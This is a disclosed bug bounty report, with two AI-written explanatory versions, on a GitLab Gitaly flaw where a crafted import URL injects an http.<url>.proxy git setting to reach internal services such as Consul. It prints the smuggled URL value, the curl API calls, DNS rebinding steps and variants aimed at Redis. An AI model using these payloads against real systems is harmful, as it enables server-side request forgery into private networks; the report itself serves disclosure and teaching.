Skip to content
SSRF Disclosed report Advanced

Injection of `http.<url>.*` git config settings leading to SSRF

Gitaly built the git clone command by inserting the user-supplied import URL into a `-c http.<url>.extraHeader=...` flag, so a crafted URL could instead set other git http config keys such as `http.proxy`. An attacker could then make the server send requests to an internal address through a proxy they control, achieving server-side request forgery.

vakzz Follow

Originally disclosed on HackerOne

Bounty$3,000 High View original
  • Triaged in 6 hours
  • Fixed in 4 months
  • Paid in 6 hours
  • Disclosed after 5 months

Summary

When import a repo with credentials via a URL, gitaly generates the git clone command with a -c flag to add the Authorization header:

https://gitlab.com/gitlab-org/gitaly/-/blob/master/internal/service/repository/create_from_url.go#L37

Go
flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

Which will create a command such as:

Bash
git clone --bare -c http.followRedirects=false -c 'http.http://example.com/repo.git.extraHeader=Authorization: Basic YWE6YmI=' -- http://example.com/repo.git /repo/path

The issue is that the url can contain one of the http config values from https://git-scm.com/docs/git-config#Documentation/git-config.txt-httplturlgt, which will result the user supplied config being set instead of extraHeader (with the .extraHeader.. being appended to the value).

This allows an attacker to set things like http.proxy which can result in a SSRF if they use an import url such as http://[email protected]/.proxy=http://proxy.aw.rs:8500

Steps to reproduce

  1. Create a dns entry with a short TTL

  2. Start a server listening on the port that you want to hit with the SSRF that always returns 200 OK, something like (Attachment on the original report: proxy.py)

  3. Create a project with the specially crafted import url: curl -H "Authorization: Bearer $TOKEN" -v -XPOST 'http://gitlab-vm.local/api/v4/projects?import_url=http://[email protected]/.proxy=http://proxy.aw.rs:8500&name=proxy4'. This results in the following .git/config for the repo:

    Bash
    sudo cat /var/opt/gitlab/git-data/repositories/@hashed/fc/56/fc56dbc6d4652b315b86b71c8d688c1ccdea9c5f1fd07763d2659fde2e2fc49a.git/config
    [core]
        repositoryformatversion = 0
        filemode = true
        bare = true
    [http]
        followredirects = false
    [http "http://google.com/"]
        proxy = http://proxy.aw.rs:8500.extraHeader=Authorization: Basic dXNlcg==
    
  4. Update the dns entry to point to 127.0.0.1 and wait for it to propergate

  5. Add a new mirror to the project using the same host but with the path for the SSRF (it will go through the proxy), append a ? to make sure the appended paths are removed: curl -H "Authorization: Bearer $TOKEN" -v -XPUT 'http://gitlab-vm.local/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?'

  6. Check the status of the import to see the result of the SSRF (in this case hitting consul on port 8500)

    Bash

curl -H "Authorization: Bearer $TOKEN" -v 'http://gitlab-vm.local/api/v4/projects/204' | jq .import_error` "2:Fetching remote upstream failed: remote: method GET not allowed\nfatal: unable to access 'http://google.com/v1/config?/': The requested URL returned error: 405\n" ```

Git (via curl) allows for socks4 and socks5 proxies as well which could potentially be used to generated other SSRF payloads for things like redis or for leaking internal dns resolutions. There maybe other http.* configs that could be exploited, an interesting one is http.cookieFile but due to the appended .extraHeader= the path is not really controllable from my initial testing.

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

What is the current bug behavior?

The git http config propertied can be influenced by the import url

What is the expected correct behavior?

Only the extraHeader config should be set via the git clone.

Output of checks

Results of GitLab environment info

System information
System:		Ubuntu 18.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.6.5p114
Gem Version:	2.7.10
Bundler Version:1.17.3
Rake Version:	12.3.3
Redis Version:	5.0.7
Git Version:	2.24.2
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.9.4-ee
Revision:	6a1a8e88568
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.12
URL:		http://gitlab-vm.local
HTTP Clone URL:	http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	12.0.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

GitLab can import a repository from a remote URL. When the import URL carries credentials, Gitaly (the GitLab component that performs Git operations) builds the git clone command and passes the authorisation header through Git's -c option, using the http.<url>.extraHeader configuration key. The intent is narrow: attach an Authorization header for that one clone.

The report shows that the URL is interpolated into the configuration key without sufficient restriction, so an attacker who controls the import URL can choose a different http.<url>.* setting than the one intended. The most useful of these is http.<url>.proxy, which turns the import into a server-side request forgery primitive.

Setup

The researcher worked against their own GitLab instance. The environment reported by the instance is:

Text
System information
System:		Ubuntu 18.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.6.5p114
Gem Version:	2.7.10
Bundler Version:1.17.3
Rake Version:	12.3.3
Redis Version:	5.0.7
Git Version:	2.24.2
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.9.4-ee
Revision:	6a1a8e88568
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.12
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	12.0.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

The attacker needs the ability to create a project with a chosen import URL and to add a mirror to it, which the API allows with a token. The reproduction used a DNS name with a short TTL, a listener on the target port that always answers 200 OK (the report attaches a proxy.py script), and shell access to the GitLab host to inspect the generated repository configuration.

Finding it

The starting point is the Gitaly code that builds the clone command for URL imports. It appends a -c flag carrying the authorisation header, with the URL embedded in the configuration key:

Go
flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

That produces a command of this shape:

Bash
git clone --bare -c http.followRedirects=false -c 'http.http://example.com/repo.git.extraHeader=Authorization: Basic YWE6YmI=' -- http://example.com/repo.git /repo/path

The problem is that the URL sits inside the key portion of a Git configuration setting. Git supports a family of http.<url>.* settings, documented in the git-config manual, where the URL is a matching pattern. If the attacker's URL contains one of those setting names, the resulting key is no longer extraHeader; the user-supplied setting is what gets configured, and the literal .extraHeader.. text is appended to its value. The researcher's example is http.proxy, which makes Git send the clone through an attacker-chosen proxy and therefore lets the attacker direct the request to an arbitrary host and port.

Exploitation

Step 1: Prepare a DNS entry with a short TTL

A short TTL is needed because the same hostname is used twice with different meanings: first it must resolve to a host the attacker controls (so the import succeeds and the configuration is written), then it must resolve to [redacted] so the mirror fetch goes through the proxy to a local service.

Step 2: Start a listener on the target port

The researcher starts a server on the port to be reached by the SSRF that always returns 200 OK, so the initial import completes. The report attaches the script as proxy.py.

Step 3: Create a project with the crafted import URL

Bash
curl -H "Authorization: Bearer $TOKEN" -v -XPOST 'http://[redacted]/api/v4/projects?import_url=http://[redacted]/.proxy=http://proxy.aw.rs:8500&name=proxy4'

The import_url value is http://[redacted]/.proxy=http://proxy.aw.rs:8500. The credentials in the URL are what make Gitaly add the authorisation header, and the .proxy= segment is what turns the generated key into http.<url>.proxy. The resulting repository configuration on disk is:

Bash
sudo cat /var/opt/gitlab/git-data/repositories/@hashed/fc/56/[redacted].git/config
[http]
    followredirects = false
[http "http://google.com/"]
    proxy = http://proxy.aw.rs:8500.extraHeader=Authorization: Basic dXNlcg==

(The full file also contains the usual [core] section with repositoryformatversion, filemode and bare.) Two things are visible here. The URL pattern Git stored is http://google.com/, and the proxy value is the attacker's proxy followed by the leftover .extraHeader=Authorization: Basic dXNlcg== text. That trailing text is part of the value, which is why the researcher notes that a setting such as http.cookieFile is not really controllable: the appended .extraHeader= corrupts the path.

Step 4: Repoint DNS to localhost

The DNS entry is changed to [redacted] and the researcher waits for the change to propagate. The stored configuration still matches http://google.com/, but that name now resolves to the loopback address.

Step 5: Add a mirror using the same host and the SSRF path

Bash
curl -H "Authorization: Bearer $TOKEN" -v -XPUT 'http://[redacted]/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?'

The mirror uses the same host, so the stored http.<url>.proxy setting applies and the fetch is sent through the attacker's proxy. The path /v1/config is the endpoint to be reached on the internal service, and the trailing ? is there so that the paths Git appends during the fetch are discarded as part of the query string.

Step 6: Read the result of the SSRF

Bash
curl -H "Authorization: Bearer $TOKEN" -v 'http://[redacted]/api/v4/projects/204' | jq .import_error
Text
"2:Fetching remote upstream failed: remote: method GET not allowed\nfatal: unable to access 'http://google.com/v1/config?/': The requested URL returned error: 405\n"

In this run the request reached Consul on port 8500, which answered 405. The error text is returned through the project's import_error field.

Further options

The researcher notes that Git, through curl, also supports socks4 and socks5 proxies, which could potentially be used to generate other SSRF payloads, for example against Redis, or to leak internal DNS resolutions. Other http.* settings may also be exploitable; http.cookieFile was considered interesting but the appended .extraHeader= makes its path not really controllable in the researcher's initial testing.

Root cause

The clone command is assembled by string formatting, with the attacker-controlled URL placed directly into the key of a Git configuration setting:

Go
flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

Git's http.<url>.* syntax treats everything between http. and the final setting name as a URL match pattern, so a URL containing .proxy= (or another setting name) changes which setting is written. The code assumes the URL can only ever be the match pattern for extraHeader, and nothing in the construction prevents the URL from introducing a new setting name. The result is that the attacker controls a Git configuration directive, not just a value.

Impact

An attacker who can supply an import URL can set the http.<url>.proxy Git configuration, resulting in SSRF. The attacker can set the http.<url>.proxy git config, resulting in SSRF. The researcher also flags SOCKS proxies as a route to other SSRF payloads and to leaking internal DNS resolutions. The report does not establish what an attacker could achieve beyond reading the response of the internal request.

Fix

The expected behaviour, as stated in the report, is that only the extraHeader configuration should be set via the clone. The report does not describe the change that was made.

Variants to test

  • Try other http.<url>.* settings in the same position, for example http.cookieFile, and check whether the appended .extraHeader= text can be neutralised so the value stays usable.
  • Use socks4 or socks5 proxy values instead of an HTTP proxy, and watch for protocol-specific responses from internal services such as Redis.
  • Point the proxy at internal DNS or resolver services to see whether internal name resolution can be observed.
  • Reuse the same hostname with a short TTL for any flow where a stored URL match pattern is later re-resolved, and check whether the second resolution reaches a different address.

Hunting notes

This class of bug hides where user-supplied URLs are interpolated into configuration keys or command-line options rather than passed as plain values. The signal is a format string that places a URL inside a dotted key, as with http.%s.extraHeader=%s, or any code that builds -c key=value arguments from input. On GitLab-like targets, the import and mirror features are the natural place to look, because they accept arbitrary URLs and perform server-side fetches. The researcher demonstrated impact by making the internal request and reading the resulting error through the project API.

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

GitLab is a website where teams keep their source code. One of its features lets you create a project by pulling in code from another place on the internet: you give GitLab a web address (a URL), and GitLab's servers go and fetch that code for you. That kind of fetch, done by the server rather than by your own browser, is where this bug lives.

When the address you give includes credentials, GitLab adds a login header to the fetch. It does this by building a command line for a program called Git, and it slips your address into a setting name inside that command. The researcher found that by crafting the address carefully, you can make GitLab write a different setting than the one intended, specifically a setting that tells Git to send its traffic through a proxy, which is a middleman server. The result is that GitLab's server can be made to send requests through a proxy of the attacker's choosing. This class of bug is called Server-Side Request Forgery, or SSRF: the server is tricked into making requests on the attacker's behalf.

The pieces involved

Before the steps, a few terms, because the rest of the article leans on them.

  • Repository: a folder of code plus its full history of changes. GitLab stores and serves repositories.
  • Git: the program that tracks those changes. GitLab runs Git commands behind the scenes.
  • Gitaly: the GitLab component that actually performs Git operations, such as cloning a repository.
  • Clone: copying a repository from a remote address to a local disk. git clone is the command.
  • Import: GitLab's feature that creates a new project by cloning from a URL you supply.
  • Mirror: a project setting that keeps re-fetching from a remote URL, so the copy stays in sync.
  • API: a way for programs to talk to a website without using the browser pages. You send a request to a special address and get data back, usually in a machine-readable format such as JSON.
  • Token: a long secret string that proves who you are, like a temporary key. It is sent in a request header instead of a password.
  • Header: extra information attached to a web request, such as who is asking or what format you want back.
  • DNS: the internet's address book. It turns a name like google.com into a numeric address. A TTL (time to live) says how long a lookup result may be cached before it must be looked up again; a short TTL means changes take effect quickly.
  • Proxy: a middleman server that a client sends its requests through. The client connects to the proxy, and the proxy forwards the request onward.
  • SSRF: Server-Side Request Forgery. The attacker does not send the request themselves; they make the victim's server send it, often to internal systems the attacker cannot reach directly.
  • Consul: a service-discovery tool. In this report it is the internal service that was reached on port 8500.

Setup

The researcher tested against their own GitLab instance, not someone else's. The instance reported this environment:

Text
System information
System:		Ubuntu 18.04
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.6.5p114
Gem Version:	2.7.10
Bundler Version:1.17.3
Rake Version:	12.3.3
Redis Version:	5.0.7
Git Version:	2.24.2
Sidekiq Version:5.2.7
Go Version:	unknown

GitLab information
Version:	12.9.4-ee
Revision:	6a1a8e88568
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	10.12
URL:		http://[redacted]
HTTP Clone URL:	http://[redacted]/some-group/some-project.git
SSH Clone URL:	[redacted]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	12.0.0
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

This block is GitLab's own summary of itself: the operating system, the GitLab version, the database, the address the instance answers on, and where repositories are stored on disk. It matters because a bug report is only useful if others can tell which version and setup it applies to.

To carry out the attack, the researcher needed four things:

  1. The ability to create a project with a chosen import URL and to add a mirror to it. The API allows both when you present a token.
  2. Control of a DNS name with a short TTL, so the same name can be pointed at two different places in quick succession.
  3. A listener on the port that the SSRF should reach, which always answers 200 OK. The report attaches a proxy.py script for this.
  4. Shell access to the GitLab host, to look at the configuration file Git writes for the repository.

Finding it

The trail starts in Gitaly's code that builds the clone command for URL imports. It adds a -c flag carrying the authorisation header, with the URL embedded in the setting name:

Go
flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

Line by line: flags = append(flags, ...) adds one more item to a list of command-line options. git.ValueFlag{Name: "-c", Value: ...} describes an option named -c with a value. fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader) builds that value by pasting two things into a template: u.String(), which is the URL the user supplied, and authHeader, the login header. The template puts the URL right after http. and before .extraHeader=, so the URL becomes part of the setting's name.

That produces a command of this shape:

Bash
git clone --bare -c http.followRedirects=false -c 'http.http://example.com/repo.git.extraHeader=Authorization: Basic YWE6YmI=' -- http://example.com/repo.git /repo/path

Reading it: git clone copies a repository. --bare means a copy with no working files, just the history, which is what a server needs. Each -c sets a Git configuration value for this one command only. The first one, http.followRedirects=false, tells Git not to follow redirects. The second one is the interesting part: http.http://example.com/repo.git.extraHeader=Authorization: Basic YWE6YmI= is a setting whose name contains the URL and whose value is the login header. The -- marks the end of options, and the last two items are the source URL and the destination folder on disk.

The problem is that the URL sits inside the name part of a Git configuration setting. Git supports a whole family of settings written as http.<url>.*, documented in the git-config manual, where the URL is a pattern that decides which requests the setting applies to. If the attacker's URL contains one of those setting names, the resulting name is no longer extraHeader: the attacker's setting is what gets configured, and the literal .extraHeader.. text is tacked onto its value. The researcher's example is http.proxy, which makes Git send the clone through a proxy of the attacker's choosing, and therefore lets the attacker decide which host and port the request goes to.

Exploitation

Step 1: Prepare a DNS entry with a short TTL

A short TTL is needed because the same hostname is used twice with two different meanings. First it must point at a host the attacker controls, so the import succeeds and the configuration gets written. Later it must point at [redacted], the loopback address meaning "this same machine", so the mirror fetch goes through the proxy to a service running locally on the GitLab server. A short TTL means the change is picked up quickly instead of being cached for hours.

Step 2: Start a listener on the target port

The researcher starts a server on the port that the SSRF should reach, and it always returns 200 OK, so the initial import completes successfully. The report attaches the script as proxy.py.

Step 3: Create a project with the crafted import URL

Bash
curl -H "Authorization: Bearer $TOKEN" -v -XPOST 'http://[redacted]/api/v4/projects?import_url=http://[redacted]/.proxy=http://proxy.aw.rs:8500&name=proxy4'

Line by line: curl is a command-line tool for sending web requests. -H "Authorization: Bearer $TOKEN" attaches a header proving who is calling, where $TOKEN is a secret token kept in a variable. -v asks curl to print the details of the exchange. -XPOST says this is a POST request, the kind used to create something. The address is GitLab's API for creating projects, and the part after ? carries the parameters: import_url is the address to import from, and name=proxy4 is the name of the new project.

The import_url value is http://[redacted]/.proxy=http://proxy.aw.rs:8500. The credentials in the URL are what make Gitaly add the authorisation header, and the .proxy= segment is what turns the generated setting name into http.<url>.proxy. The resulting repository configuration on disk is:

Bash
sudo cat /var/opt/gitlab/git-data/repositories/@hashed/fc/56/[redacted].git/config
[http]
    followredirects = false
[http "http://google.com/"]
    proxy = http://proxy.aw.rs:8500.extraHeader=Authorization: Basic dXNlcg==

sudo cat prints a file with administrator rights, and the long path is where GitLab keeps this particular repository on disk. The output is the configuration file Git wrote. The full file also contains the usual [core] section with repositoryformatversion, filemode and bare, which are standard bookkeeping entries.

Two things stand out. The URL pattern Git stored is http://google.com/. And the proxy value is the attacker's proxy followed by the leftover .extraHeader=Authorization: Basic dXNlcg== text. That trailing text is part of the value, which is why the researcher notes that a setting such as http.cookieFile is not really controllable: the appended .extraHeader= spoils the path.

Step 4: Repoint DNS to localhost

The DNS entry is changed to [redacted], and the researcher waits for the change to propagate. The stored configuration still matches http://google.com/, but that name now resolves to the loopback address, so requests meant for the internet land on the GitLab machine itself.

Step 5: Add a mirror using the same host and the SSRF path

Bash
curl -H "Authorization: Bearer $TOKEN" -v -XPUT 'http://[redacted]/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?'

Here -XPUT is an update request, aimed at project number 204. The parameters say mirror=true, turning on mirroring, and give a new import_url. The mirror uses the same host, so the stored http.<url>.proxy setting applies and the fetch is sent through the attacker's proxy. The path /v1/config is the endpoint to be reached on the internal service, and the trailing ? is there so that the paths Git appends during the fetch are discarded as part of the query string.

Step 6: Read the result of the SSRF

Bash
curl -H "Authorization: Bearer $TOKEN" -v 'http://[redacted]/api/v4/projects/204' | jq .import_error

This fetches the project's details and pipes them into jq, a tool that picks out one field from JSON data. The field is import_error, the error message from the import attempt.

Text
"2:Fetching remote upstream failed: remote: method GET not allowed\nfatal: unable to access 'http://google.com/v1/config?/': The requested URL returned error: 405\n"

In this run the request reached Consul on port 8500, which answered 405. The error text comes back through the project's import_error field.

Further options

The researcher notes that Git, through curl, also supports socks4 and socks5 proxies, which could potentially be used to build other SSRF payloads, for example against Redis, or to leak internal DNS resolutions. Other http.* settings may also be exploitable. http.cookieFile was considered interesting, but the appended .extraHeader= makes its path not really controllable in the researcher's initial testing.

Root cause

The clone command is assembled by string formatting, with the attacker-controlled URL placed directly into the name of a Git configuration setting:

Go
flags = append(flags, git.ValueFlag{Name: "-c", Value: fmt.Sprintf("http.%s.extraHeader=%s", u.String(), authHeader)})

Git's http.<url>.* syntax treats everything between http. and the final setting name as a URL match pattern, so a URL containing .proxy= (or another setting name) changes which setting is written. The code assumes the URL can only ever be the match pattern for extraHeader, and nothing in the construction stops the URL from introducing a new setting name. The result is that the attacker controls a Git configuration directive, not just a value.

Impact

An attacker who can supply an import URL can set the http.<url>.proxy Git configuration, resulting in SSRF. The attacker can set the http.<url>.proxy git config, resulting in SSRF. The researcher also flags SOCKS proxies as a route to other SSRF payloads and to leaking internal DNS resolutions. The report does not establish what an attacker could achieve beyond reading the response of the internal request.

Fix

The expected behaviour, as stated in the report, is that only the extraHeader configuration should be set via the clone. The report does not describe the change that was made.

Variants to test

  • Try other http.<url>.* settings in the same position, for example http.cookieFile, and check whether the appended .extraHeader= text can be neutralised so the value stays usable.
  • Use socks4 or socks5 proxy values instead of an HTTP proxy, and watch for protocol-specific responses from internal services such as Redis.
  • Point the proxy at internal DNS or resolver services to see whether internal name resolution can be observed.
  • Reuse the same hostname with a short TTL for any flow where a stored URL match pattern is later re-resolved, and check whether the second resolution reaches a different address.

Hunting notes

This class of bug hides where user-supplied URLs are interpolated into configuration names or command-line options rather than passed as plain values. The signal is a format string that places a URL inside a dotted name, as with http.%s.extraHeader=%s, or any code that builds -c key=value arguments from input. On GitLab-like targets, the import and mirror features are the natural place to look, because they accept arbitrary URLs and perform server-side fetches. The researcher demonstrated impact by making the internal request and reading the resulting error through the project API.

Impact

  • An attacker can set the http.<url>.proxy git config resulting in SSRF

Glossary

  • API: a way for programs to talk to a website by sending requests to special addresses and receiving structured data back.
  • Clone: copying a repository from a remote address onto a local disk.
  • Consul: a service-discovery tool; here, the internal service reached on port 8500.
  • DNS: the internet's address book, turning names into numeric addresses.
  • Gitaly: the GitLab component that performs Git operations such as cloning.
  • Git: the program that tracks changes to code and stores repository history.
  • Header: extra information attached to a web request, such as who is asking.
  • Import: GitLab's feature for creating a project by cloning from a URL you supply.
  • JSON: a text format for structured data, used by APIs.
  • Loopback address: [redacted], meaning "this same machine".
  • Mirror: a project setting that keeps re-fetching from a remote URL to stay in sync.
  • Port: a numbered channel on a machine that a service listens on.
  • Proxy: a middleman server that requests are sent through and forwarded onward.
  • SOCKS: a proxy protocol that can carry various kinds of traffic, including socks4 and socks5 variants.
  • SSRF: Server-Side Request Forgery; tricking a server into making requests on the attacker's behalf, often to internal systems.
  • Token: a secret string that proves who you are, sent instead of a password.
  • TTL: time to live; how long a DNS lookup result may be cached before it is looked up again.
  • URL: a web address.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.